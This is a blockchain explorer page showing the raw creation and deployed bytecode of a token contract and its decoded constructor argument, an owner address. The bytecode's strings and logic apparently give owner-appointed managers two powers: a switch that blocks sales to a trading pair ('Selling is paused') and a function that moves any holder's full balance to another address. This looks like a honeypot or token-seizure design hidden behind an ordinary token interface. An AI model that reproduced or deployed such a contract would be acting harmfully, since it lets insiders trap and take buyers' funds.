c565b620009358683620008ec565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200097f6200097962000973846200094d565b62000956565b6200094d565b9050919050565b5f819050919050565b6200099a836200095f565b620009b2620009a98262000986565b848454620008f8565b825550505050565b5f90565b620009c8620009ba565b620009d58184846200098f565b505050565b5b81811015620009fc57620009f05f82620009be565b600181019050620009db565b5050565b601f82111562000a4b5762000a1581620008cb565b62000a2084620008dd565b8101602085101562000a30578190505b62000a4862000a3f85620008dd565b830182620009da565b50505b505050565b5f82821c905092915050565b5f62000a6d5f198460080262000a50565b1980831691505092915050565b5f62000a87838362000a5c565b9150826002028217905092915050565b62000aa28262000833565b67ffffffffffffffff81111562000abe5762000abd6200083d565b5b62000aca825462000897565b62000ad782828562000a00565b5f60209050601f83116001811462000b0d575f841562000af8578287015190505b62000b04858262000a7a565b86555062000b73565b601f19841662000b1d86620008cb565b5f5b8281101562000b465784890151825560018201915060208501945060208101905062000b1f565b8683101562000b66578489015162000b62601f89168262000a5c565b8355505b6001600288020188555050505b505050505050565b62000b8681620007c1565b82525050565b5f60208201905062000ba15f83018462000b7b565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000c315780860481111562000c095762000c0862000ba7565b5b600185161562000c195780820291505b808102905062000c298562000bd4565b945062000be9565b94509492505050565b5f8262000c4b576001905062000d1d565b8162000c5a575f905062000d1d565b816001811462000c73576002811462000c7e5762000cb4565b600191505062000d1d565b60ff84111562000c935762000c9262000ba7565b5b8360020a91508482111562000cad5762000cac62000ba7565b5b5062000d1d565b5060208310610133831016604e8410600b841016171562000cee5782820a90508381111562000ce85762000ce762000ba7565b5b62000d1d565b62000cfd848484600162000be0565b9250905081840481111562000d175762000d1662000ba7565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000d3c826200094d565b915062000d498362000d24565b925062000d787fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c3a565b905092915050565b5f62000d8c826200094d565b915062000d99836200094d565b925082820262000da9816200094d565b9150828204841483151762000dc35762000dc262000ba7565b5b5092915050565b5f82825260208201905092915050565b7f53656c6c696e67206973207061757365640000000000000000000000000000005f82015250565b5f62000e1060118362000dca565b915062000e1d8262000dda565b602082019050919050565b5f6020820190508181035f83015262000e418162000e02565b9050919050565b5f62000e54826200094d565b915062000e61836200094d565b925082820190508082111562000e7c5762000e7b62000ba7565b5b92915050565b62000e8d816200094d565b82525050565b5f60608201905062000ea85f83018662000b7b565b62000eb7602083018562000e82565b62000ec6604083018462000e82565b949350505050565b5f60208201905062000ee35f83018462000e82565b92915050565b611aec8062000ef75f395ff3fe608060405234801561000f575f80fd5b506004361061012a575f3560e01c8063665a11ca116100ab578063a3bdc1891161006f578063a3bdc1891461030a578063a9059cbb14610326578063cc97020714610356578063dd62ed3e14610372578063f2fde38b146103a25761012a565b8063665a11ca1461027657806370a0823114610294578063715018a6146102c45780638da5cb5b146102ce57806395d89b41146102ec5761012a565b806318160ddd116100f257806318160ddd146101d257806323b872dd146101f057806324f8f2ec1461022057806326f65a171461023c578063313ce567146102585761012a565b8063018770201461012e57806306fdde031461014a578063095ea7b3146101685780630f8af81d14610198578063133a473e146101b4575b5f80fd5b61014860048036038101906101439190611474565b6103be565b005b61015261048b565b60405161015f9190611529565b60405180910390f35b610182600480360381019061017d919061157c565b61051b565b60405161018f91906115d4565b60405180910390f35b6101b260048036038101906101ad91906115ed565b61053d565b005b6101bc610689565b6040516101c991906115d4565b60405180910390f35b6101da61069b565b6040516101e7919061163a565b60405180910390f35b61020a60048036038101906102059190611653565b6106a4565b60405161021791906115d4565b60405180910390f35b61023a6004803603810190610235919061157c565b6106d2565b005b61025660048036038101906102519190611474565b610769565b005b610260610815565b60405161026d91906116be565b60405180910390f35b61027e61081d565b60405161028b91906116e6565b60405180910390f35b6102ae60048036038101906102a99190611474565b610843565b6040516102bb919061163a565b60405180910390f35b6102cc610888565b005b6102d661089b565b6040516102e391906116e6565b60405180910390f35b6102f46108c3565b6040516103019190611529565b60405180910390f35b610324600480360381019061031f9190611474565b610953565b005b610340600480360381019061033b919061157c565b6109ff565b60405161034d91906115d4565b60405180910390f35b610370600480360381019061036b9190611729565b610a21565b005b61038c600480360381019061038791906115ed565b610ac6565b604051610399919061163a565b60405180910390f35b6103bc60048036038101906103b79190611474565b610b48565b005b60065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610447576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161043e9061179e565b60405180910390fd5b80600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606003805461049a906117e9565b80601f01602080910402602001604051908101604052809291908181526020018280546104c6906117e9565b80156105115780601f106104e857610100808354040283529160200191610511565b820191905f5260205f20905b8154815290600101906020018083116104f457829003601f168201915b5050505050905090565b5f80610525610bcc565b9050610532818585610bd3565b600191505092915050565b60075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166105c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bd90611863565b60405180910390fd5b5f6105d083610843565b90505f8111610614576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060b906118cb565b60405180910390fd5b61061f838383610be5565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f857ac1c9e97cc66ecae5f524c9c611463ae748b85af3ca454a5ec4d7d341924d8360405161067c919061163a565b60405180910390a3505050565b60085f9054906101000a900460ff1681565b5f600254905090565b5f806106ae610bcc565b90506106bb858285610cd5565b6106c6858585610be5565b60019150509392505050565b60065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661075b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107529061179e565b60405180910390fd5b6107658282610d67565b5050565b610771610d75565b600160065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167fb710f7d3e79cb091613cfea70444ea824ad23f2b1297bdea427bc6f097e346a860405161080a90611933565b60405180910390a250565b5f6012905090565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610890610d75565b6108995f610dfc565b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546108d2906117e9565b80601f01602080910402602001604051908101604052809291908181526020018280546108fe906117e9565b80156109495780601f1061092057610100808354040283529160200191610949565b820191905f5260205f20905b81548152906001019060200180831161092c57829003601f168201915b5050505050905090565b61095b610d75565b600160075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167fb710f7d3e79cb091613cfea70444ea824ad23f2b1297bdea427bc6f097e346a86040516109f49061199b565b60405180910390a250565b5f80610a09610bcc565b9050610a16818585610be5565b600191505092915050565b60075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa190611863565b60405180910390fd5b8060085f6101000a81548160ff02191690831515021790555050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610b50610d75565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610bc0575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610bb791906116e6565b60405180910390fd5b610bc981610dfc565b50565b5f33905090565b610be08383836001610ebf565b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c55575f6040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610c4c91906116e6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cc5575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610cbc91906116e6565b60405180910390fd5b610cd083838361108e565b505050565b5f610ce08484610ac6565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d615781811015610d52578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401610d49939291906119b9565b60405180910390fd5b610d6084848484035f610ebf565b5b50505050565b610d71828261117e565b5050565b610d7d610bcc565b73ffffffffffffffffffffffffffffffffffffffff16610d9b61089b565b73ffffffffffffffffffffffffffffffffffffffff1614610dfa57610dbe610bcc565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401610df191906116e6565b60405180910390fd5b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610f2f575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401610f2691906116e6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f9f575f6040517f94280d62000000000000000000000000000000000000000000000000000000008152600401610f9691906116e6565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015611088578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161107f919061163a565b60405180910390a35b50505050565b60085f9054906101000a900460ff1680156110d557505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561112e5750600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561116e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116590611a38565b60405180910390fd5b6111798383836111fd565b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111ee575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016111e591906116e6565b60405180910390fd5b6111f95f838361108e565b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361124d578060025f8282546112419190611a83565b9250508190555061131b565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156112d6578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016112cd939291906119b9565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611362578060025f82825403925050819055506113ac565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611409919061163a565b60405180910390a3505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6114438261141a565b9050919050565b61145381611439565b811461145d575f80fd5b50565b5f8135905061146e8161144a565b92915050565b5f6020828403121561148957611488611416565b5b5f61149684828501611460565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156114d65780820151818401526020810190506114bb565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6114fb8261149f565b61150581856114a9565b93506115158185602086016114b9565b61151e816114e1565b840191505092915050565b5f6020820190508181035f83015261154181846114f1565b905092915050565b5f819050919050565b61155b81611549565b8114611565575f80fd5b50565b5f8135905061157681611552565b92915050565b5f806040838503121561159257611591611416565b5b5f61159f85828601611460565b92505060206115b085828601611568565b9150509250929050565b5f8115159050919050565b6115ce816115ba565b82525050565b5f6020820190506115e75f8301846115c5565b92915050565b5f806040838503121561160357611602611416565b5b5f61161085828601611460565b925050602061162185828601611460565b9150509250929050565b61163481611549565b82525050565b5f60208201905061164d5f83018461162b565b92915050565b5f805f6060848603121561166a57611669611416565b5b5f61167786828701611460565b935050602061168886828701611460565b925050604061169986828701611568565b9150509250925092565b5f60ff82169050919050565b6116b8816116a3565b82525050565b5f6020820190506116d15f8301846116af565b92915050565b6116e081611439565b82525050565b5f6020820190506116f95f8301846116d7565b92915050565b611708816115ba565b8114611712575f80fd5b50565b5f81359050611723816116ff565b92915050565b5f6020828403121561173e5761173d611416565b5b5f61174b84828501611715565b91505092915050565b7f43616c6c6572206973206e6f74206120726577617264206d616e6167657200005f82015250565b5f611788601e836114a9565b915061179382611754565b602082019050919050565b5f6020820190508181035f8301526117b58161177c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061180057607f821691505b602082108103611813576118126117bc565b5b50919050565b7f43616c6c6572206973206e6f742061206275726e206d616e61676572000000005f82015250565b5f61184d601c836114a9565b915061185882611819565b602082019050919050565b5f6020820190508181035f83015261187a81611841565b9050919050565b7f4e6f20746f6b656e7320746f207472616e7366657200000000000000000000005f82015250565b5f6118b56015836114a9565b91506118c082611881565b602082019050919050565b5f6020820190508181035f8301526118e2816118a9565b9050919050565b7f5265776172644d616e61676572000000000000000000000000000000000000005f82015250565b5f61191d600d836114a9565b9150611928826118e9565b602082019050919050565b5f6020820190508181035f83015261194a81611911565b9050919050565b7f4275726e4d616e616765720000000000000000000000000000000000000000005f82015250565b5f611985600b836114a9565b915061199082611951565b602082019050919050565b5f6020820190508181035f8301526119b281611979565b9050919050565b5f6060820190506119cc5f8301866116d7565b6119d9602083018561162b565b6119e6604083018461162b565b949350505050565b7f53656c6c696e67206973207061757365640000000000000000000000000000005f82015250565b5f611a226011836114a9565b9150611a2d826119ee565b602082019050919050565b5f6020820190508181035f830152611a4f81611a16565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611a8d82611549565b9150611a9883611549565b9250828201905080821115611ab057611aaf611a56565b5b9291505056fea2646970667358221220552ce9735a19ae38df0a24e6e5cfd1ac141b62cf8f018cfa908d1176298edf0564736f6c6343000814003300000000000000000000000024d364a09d092aa3003d5d926b3ee0e4a6ba5501

Deployed Bytecode

0x608060405234801561000f575f80fd5b506004361061012a575f3560e01c8063665a11ca116100ab578063a3bdc1891161006f578063a3bdc1891461030a578063a9059cbb14610326578063cc97020714610356578063dd62ed3e14610372578063f2fde38b146103a25761012a565b8063665a11ca1461027657806370a0823114610294578063715018a6146102c45780638da5cb5b146102ce57806395d89b41146102ec5761012a565b806318160ddd116100f257806318160ddd146101d257806323b872dd146101f057806324f8f2ec1461022057806326f65a171461023c578063313ce567146102585761012a565b8063018770201461012e57806306fdde031461014a578063095ea7b3146101685780630f8af81d14610198578063133a473e146101b4575b5f80fd5b61014860048036038101906101439190611474565b6103be565b005b61015261048b565b60405161015f9190611529565b60405180910390f35b610182600480360381019061017d919061157c565b61051b565b60405161018f91906115d4565b60405180910390f35b6101b260048036038101906101ad91906115ed565b61053d565b005b6101bc610689565b6040516101c991906115d4565b60405180910390f35b6101da61069b565b6040516101e7919061163a565b60405180910390f35b61020a60048036038101906102059190611653565b6106a4565b60405161021791906115d4565b60405180910390f35b61023a6004803603810190610235919061157c565b6106d2565b005b61025660048036038101906102519190611474565b610769565b005b610260610815565b60405161026d91906116be565b60405180910390f35b61027e61081d565b60405161028b91906116e6565b60405180910390f35b6102ae60048036038101906102a99190611474565b610843565b6040516102bb919061163a565b60405180910390f35b6102cc610888565b005b6102d661089b565b6040516102e391906116e6565b60405180910390f35b6102f46108c3565b6040516103019190611529565b60405180910390f35b610324600480360381019061031f9190611474565b610953565b005b610340600480360381019061033b919061157c565b6109ff565b60405161034d91906115d4565b60405180910390f35b610370600480360381019061036b9190611729565b610a21565b005b61038c600480360381019061038791906115ed565b610ac6565b604051610399919061163a565b60405180910390f35b6103bc60048036038101906103b79190611474565b610b48565b005b60065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610447576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161043e9061179e565b60405180910390fd5b80600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606003805461049a906117e9565b80601f01602080910402602001604051908101604052809291908181526020018280546104c6906117e9565b80156105115780601f106104e857610100808354040283529160200191610511565b820191905f5260205f20905b8154815290600101906020018083116104f457829003601f168201915b5050505050905090565b5f80610525610bcc565b9050610532818585610bd3565b600191505092915050565b60075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166105c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bd90611863565b60405180910390fd5b5f6105d083610843565b90505f8111610614576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060b906118cb565b60405180910390fd5b61061f838383610be5565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f857ac1c9e97cc66ecae5f524c9c611463ae748b85af3ca454a5ec4d7d341924d8360405161067c919061163a565b60405180910390a3505050565b60085f9054906101000a900460ff1681565b5f600254905090565b5f806106ae610bcc565b90506106bb858285610cd5565b6106c6858585610be5565b60019150509392505050565b60065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661075b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107529061179e565b60405180910390fd5b6107658282610d67565b5050565b610771610d75565b600160065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167fb710f7d3e79cb091613cfea70444ea824ad23f2b1297bdea427bc6f097e346a860405161080a90611933565b60405180910390a250565b5f6012905090565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610890610d75565b6108995f610dfc565b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546108d2906117e9565b80601f01602080910402602001604051908101604052809291908181526020018280546108fe906117e9565b80156109495780601f1061092057610100808354040283529160200191610949565b820191905f5260205f20905b81548152906001019060200180831161092c57829003601f168201915b5050505050905090565b61095b610d75565b600160075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167fb710f7d3e79cb091613cfea70444ea824ad23f2b1297bdea427bc6f097e346a86040516109f49061199b565b60405180910390a250565b5f80610a09610bcc565b9050610a16818585610be5565b600191505092915050565b60075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa190611863565b60405180910390fd5b8060085f6101000a81548160ff02191690831515021790555050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610b50610d75565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610bc0575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610bb791906116e6565b60405180910390fd5b610bc981610dfc565b50565b5f33905090565b610be08383836001610ebf565b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c55575f6040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610c4c91906116e6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cc5575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610cbc91906116e6565b60405180910390fd5b610cd083838361108e565b505050565b5f610ce08484610ac6565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d615781811015610d52578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401610d49939291906119b9565b60405180910390fd5b610d6084848484035f610ebf565b5b50505050565b610d71828261117e565b5050565b610d7d610bcc565b73ffffffffffffffffffffffffffffffffffffffff16610d9b61089b565b73ffffffffffffffffffffffffffffffffffffffff1614610dfa57610dbe610bcc565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401610df191906116e6565b60405180910390fd5b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610f2f575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401610f2691906116e6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f9f575f6040517f94280d62000000000000000000000000000000000000000000000000000000008152600401610f9691906116e6565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015611088578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161107f919061163a565b60405180910390a35b50505050565b60085f9054906101000a900460ff1680156110d557505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561112e5750600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561116e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116590611a38565b60405180910390fd5b6111798383836111fd565b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111ee575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016111e591906116e6565b60405180910390fd5b6111f95f838361108e565b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361124d578060025f8282546112419190611a83565b9250508190555061131b565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156112d6578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016112cd939291906119b9565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611362578060025f82825403925050819055506113ac565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611409919061163a565b60405180910390a3505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6114438261141a565b9050919050565b61145381611439565b811461145d575f80fd5b50565b5f8135905061146e8161144a565b92915050565b5f6020828403121561148957611488611416565b5b5f61149684828501611460565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156114d65780820151818401526020810190506114bb565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6114fb8261149f565b61150581856114a9565b93506115158185602086016114b9565b61151e816114e1565b840191505092915050565b5f6020820190508181035f83015261154181846114f1565b905092915050565b5f819050919050565b61155b81611549565b8114611565575f80fd5b50565b5f8135905061157681611552565b92915050565b5f806040838503121561159257611591611416565b5b5f61159f85828601611460565b92505060206115b085828601611568565b9150509250929050565b5f8115159050919050565b6115ce816115ba565b82525050565b5f6020820190506115e75f8301846115c5565b92915050565b5f806040838503121561160357611602611416565b5b5f61161085828601611460565b925050602061162185828601611460565b9150509250929050565b61163481611549565b82525050565b5f60208201905061164d5f83018461162b565b92915050565b5f805f6060848603121561166a57611669611416565b5b5f61167786828701611460565b935050602061168886828701611460565b925050604061169986828701611568565b9150509250925092565b5f60ff82169050919050565b6116b8816116a3565b82525050565b5f6020820190506116d15f8301846116af565b92915050565b6116e081611439565b82525050565b5f6020820190506116f95f8301846116d7565b92915050565b611708816115ba565b8114611712575f80fd5b50565b5f81359050611723816116ff565b92915050565b5f6020828403121561173e5761173d611416565b5b5f61174b84828501611715565b91505092915050565b7f43616c6c6572206973206e6f74206120726577617264206d616e6167657200005f82015250565b5f611788601e836114a9565b915061179382611754565b602082019050919050565b5f6020820190508181035f8301526117b58161177c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061180057607f821691505b602082108103611813576118126117bc565b5b50919050565b7f43616c6c6572206973206e6f742061206275726e206d616e61676572000000005f82015250565b5f61184d601c836114a9565b915061185882611819565b602082019050919050565b5f6020820190508181035f83015261187a81611841565b9050919050565b7f4e6f20746f6b656e7320746f207472616e7366657200000000000000000000005f82015250565b5f6118b56015836114a9565b91506118c082611881565b602082019050919050565b5f6020820190508181035f8301526118e2816118a9565b9050919050565b7f5265776172644d616e61676572000000000000000000000000000000000000005f82015250565b5f61191d600d836114a9565b9150611928826118e9565b602082019050919050565b5f6020820190508181035f83015261194a81611911565b9050919050565b7f4275726e4d616e616765720000000000000000000000000000000000000000005f82015250565b5f611985600b836114a9565b915061199082611951565b602082019050919050565b5f6020820190508181035f8301526119b281611979565b9050919050565b5f6060820190506119cc5f8301866116d7565b6119d9602083018561162b565b6119e6604083018461162b565b949350505050565b7f53656c6c696e67206973207061757365640000000000000000000000000000005f82015250565b5f611a226011836114a9565b9150611a2d826119ee565b602082019050919050565b5f6020820190508181035f830152611a4f81611a16565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611a8d82611549565b9150611a9883611549565b9250828201905080821115611ab057611aaf611a56565b5b9291505056fea2646970667358221220552ce9735a19ae38df0a24e6e5cfd1ac141b62cf8f018cfa908d1176298edf0564736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000024d364a09d092aa3003d5d926b3ee0e4a6ba5501

-----Decoded View---------------
Arg [0] : initialOwner (address): 0x24D364A09d092aa3003d5d926B3EE0E4a6ba5501

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000024d364a09d092aa3003d5d926b3ee0e4a6ba5501


Deployed Bytecode Sourcemap

